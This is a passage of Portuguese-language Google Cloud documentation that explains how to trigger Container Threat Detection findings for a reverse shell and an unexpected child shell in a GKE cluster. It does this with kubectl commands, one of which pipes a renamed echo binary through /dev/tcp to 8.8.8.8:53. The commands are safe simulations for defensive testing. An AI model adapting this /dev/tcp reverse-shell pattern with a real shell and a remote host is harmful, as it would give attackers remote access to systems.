            "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
      
    • Nó ARM:

      tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
      

Este procedimento de teste cria uma deteção de shell invertida que pode ver no Security Command Center e no Cloud Logging se tiver configurado o registo para a Deteção de ameaças de contentores. A visualização de resultados no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center ao nível da organização.

Unexpected Child Shell

Para testar o detetor Unexpected Child Shell, pode criar uma árvore de processos que inclua um processo de shell secundário.

O exemplo seguinte cria uma árvore de processos consul->dash, que pode ser detetada pelo detetor Unexpected Child Shell. Este teste é seguro porque usa apenas ficheiros binários incorporados. Este exemplo faz o seguinte:

  1. Cria uma cópia do processo sh e atribui-lhe o nome consul.
  2. Copia o processo echo e atribui-lhe o nome dash.
  3. Invoca o processo dash copiado no processo consul copiado.

Para acionar uma descoberta Unexpected Child Shell, faça o seguinte:

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Use o processo consul simulado para invocar um shell simulado:

    • Nó x86:

      tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -ti \
         --image ubuntu "$tag" \
         --command -- /bin/sh -c \
            'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
            /tmp/consul -c "/tmp/sh child ran successfully & wait"'
      
    • Nó ARM:

      tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -ti \
         --image ubuntu \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" --command -- /bin/sh -c \
            'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
            /tmp/consul -c "/tmp/sh child ran successfully & wait"'
      

Este procedimento de teste cria uma descoberta Unexpected Child Shell que pode ver no Security Command Center. Se o registo estiver configurado para a deteção de ameaças de contentores e tiver o Security Command Center Premium ou Enterprise ativado ao nível da organização, também pode ver a descoberta no Cloud Logging.

O que se segue?